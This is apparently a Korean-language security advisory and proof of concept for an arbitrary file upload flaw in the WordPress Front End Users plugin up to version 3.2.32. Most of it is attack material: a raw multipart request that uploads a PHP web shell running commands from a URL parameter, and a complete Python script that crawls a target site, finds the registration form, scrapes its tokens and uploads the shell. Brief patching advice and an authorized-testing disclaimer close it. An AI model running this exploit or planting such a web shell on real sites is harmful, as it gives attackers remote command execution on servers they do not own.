
WordPress Front End Users Plugin <= 3.2.32는 임의 파일 업로드에 취약합니다.
WordPress Front End Users Plugin <= 3.2.32는 임의 파일 업로드에 취약합니다
이 취약점은 Front-End Users 플러그인이 회원가입 양식을 통해 파일 업로드를 처리하는 방식에서 발생합니다. 파일 확장자 검증, 인증 확인 또는 파일 유형 검사가 제대로 수행되지 않습니다. 공격자는 플러그인이 렌더링하는 임의의 회원가입 양식에 multipart/form-data POST 요청을 보내 사용자 정의 필드(예: Nxploit)에 악성 PHP 파일을 포함시킬 수 있습니다.
플러그인은 업로드된 파일을 wp-content/uploads/ewd_feup_uploads/ 디렉토리에 저장하지만, 업로드된 파일은 임의의 해시로 이름이 변경됩니다. 그러나 업로드 디렉토리에서 PHP 실행이 허용되는 경우 파일은 계속 실행 가능한 상태로 남습니다.
POST /wordpress/2025/04/02/test/ HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-check"
14bacb882cb211e10b2b3e07bfe096ef12a092dc
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-time"
1743554029
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-action"
register
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-post-id"
573
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-omit-level"
No
------WebKitFormBoundary
Content-Disposition: form-data; name="Username"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="User_Password"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="Confirm_User_Password"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="First Name"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="Last Name"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="Nxploit"; filename="shell.php"
Content-Type: application/x-php
<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>
------WebKitFormBoundary
Content-Disposition: form-data; name="Register_Submit"
Register
------WebKitFormBoundary--
요청 후 파일은 다음 위치에 저장됩니다:
/wp-content/uploads/ewd_feup_uploads/[RANDOMIZED_FILENAME].php
파일 이름은 업로드된 이름(예: shell.php)과 일치하지 않지만 수동으로 발견하거나 스캐너로 추측할 수 있습니다.
import requests
from bs4 import BeautifulSoup
import tempfile
import argparse
from urllib.parse import urljoin
requests.packages.urllib3.disable_warnings()
session = requests.Session()
session.verify = False
parser = argparse.ArgumentParser(description="Upload shell to vulnerable WordPress Front-End Users Plugin By: Nxploited | Khaled Alenzi")
parser.add_argument("--url", "-u", required=True, help="Base URL of the target site (e.g. http://site.com/)")
parser.add_argument("--newuser", "-nu", required=True, help="Username to register")
parser.add_argument("--newpassword", "-np", required=True, help="Password for the new user")
args = parser.parse_args()
base_url = args.url.rstrip("/")
username = args.newuser
password = args.newpassword
print("[*] Starting scan on:", base_url)
try:
response = session.get(base_url, timeout=10)
soup = BeautifulSoup(response.text, 'html.parser')
except Exception as e:
print("[-] Failed to fetch base URL.")
print("Error:", str(e))
exit()
page_links = set()
for a in soup.find_all("a", href=True):
href = a["href"]
if href.startswith("/") or base_url in href:
full_url = urljoin(base_url, href)
page_links.add(full_url)
print(f"[*] Found {len(page_links)} internal pages to scan...")
registration_url = None
for link in page_links:
try:
page = session.get(link, timeout=10)
if "ewd-feup-register-form" in page.text and "ewd-feup-check" in page.text:
registration_url = link
print(f"[+] Found FEUP registration form at: {registration_url}")
break
except:
continue
if not registration_url:
print("[-] Could not automatically locate the FEUP registration form.")
print("[!] Please provide the correct path manually using --url.")
exit()
page = session.get(registration_url)
soup = BeautifulSoup(page.text, 'html.parser')
def get_input_value(name):
field = soup.find('input', {'name': name})
return field['value'] if field else ''
check_value = get_input_value('ewd-feup-check')
time_value = get_input_value('ewd-feup-time')
post_id = get_input_value('ewd-feup-post-id')
file_input = soup.find('input', {'type': 'file'})
file_field_name = file_input['name'] if file_input and 'name' in file_input.attrs else ''
print(f"[+] ewd-feup-check: {check_value}")
print(f"[+] ewd-feup-time: {time_value}")
print(f"[+] ewd-feup-post-id: {post_id}")
print(f"[+] Upload field name: {file_field_name if file_field_name else 'Not found'}")
shell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>"
temp_shell = tempfile.NamedTemporaryFile(delete=False, suffix=".php", mode='w+b')
temp_shell.write(shell_content.encode())
temp_shell.seek(0)
data = {
'ewd-feup-check': check_value,
'ewd-feup-time': time_value,
'ewd-feup-action': 'register',
'ewd-feup-post-id': post_id,
'ewd-feup-omit-level': 'No',
'Username': username,
'User_Password': password,
'Confirm_User_Password': password,
'First Name': 'admin',
'Last Name': 'admin',
'Register_Submit': 'Register'
}
files = {file_field_name: ('shell.php', temp_shell, 'application/x-php')} if file_field_name else {}
print("[*] Uploading shell to:", registration_url)
upload_response = session.post(registration_url, data=data, files=files)
print(f"[*] HTTP Status Code: {upload_response.status_code}")
if upload_response.status_code == 200:
print("[+] Upload request completed.")
else:
print("[-] Upload may have failed.")
temp_shell.close()
Front-End Users 플러그인을 최신 보안 버전(가능한 경우)으로 업데이트하거나, 패치가 없는 경우 임시로 비활성화하세요. 추가로:
이 PoC는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 책임감 있게 사용하고, 명시적인 테스트 허가를 받은 대상에 대해서만 사용하십시오.
제작: Nxploit.